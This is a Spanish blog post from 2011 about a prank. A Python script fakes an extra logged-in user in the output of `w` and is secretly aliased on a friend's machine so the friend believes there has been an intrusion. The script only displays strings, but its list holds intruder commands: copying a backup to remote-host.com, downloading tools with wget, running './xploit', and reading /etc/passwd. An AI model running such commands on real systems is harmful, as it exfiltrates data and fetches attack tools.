Asustando a un amigo con python xD

Sep 20, 2011 No Comments by

Hace un tiempo atrás, escribí un pequeño script en python que utiliza el módulo subprocess para leer la salida del comando w y realizar un par de cambios, como incrementar en uno la cantidad de usuarios conectados y añadir un usuario conectado con una serie de párametros aleatorios (idle, jcpu, pcpu y what).

Con la intención de hacer una pequeña broma a un amigo mio, le deje el script como alias de w

alias w="python /usr/bin/w.py"

Resultado final, mi amigo paso un buen susto de 15 minutos pensando en una intrusión xD

import subprocess,re,random

wcmd = subprocess.Popen('/usr/bin/w', shell=False, stdout=subprocess.PIPE)
out = wcmd.communicate()

commands = ["ps aux", "cd ..", "scp backup.tgz root@remote-host.com:/tmp","ls","ls -a","last","less .bash_history","vim .bash_history","sshd: www-data [priv]", "sudo bash", "cat /etc/passwd", "passw" , "wget remote-host.com/utils.tgz" , "tar zxvf utils.tgz" , "./xploit" , "date" , "ps aux | grep xploit" , "ls utils" , "locate .bash_history" , "cd .." , "cd /" , "cd /root" , "cd /etc" , "ls /etc"  ]

for line in out:
        if line:
                match = re.search( r' (\d+) users,', line )
                if match:
                        users = int(match.group(1))+1
                        print line.replace( match.group(0) , ' ' + str(users) + ' users,'  ),
                        print "www-data pts/0    localhost        10:47   0." + str( random.randint(0,9)  )  +  "0s   0."+ str( random.randint(0,9)  ) +"0s  0.0"+str( random.randint(0,9)  )+"s " + commands[ random.randint(0, len(commands)-1) ]

Python

About the author

Ingeniero en Informática, Oracle Certified Master Java EE 6 Enterprise Architect, Oracle Certified Professional Java Programmer. Experto en distintas ramas de la computación y otras "yerbas" xD. Si te gusto este post, sígueme en @deerme_org, escríbeme a info AT deerme.org o contactame por linkedin.
No Responses to “Asustando a un amigo con python xD”

Leave a Reply


6 + = twelve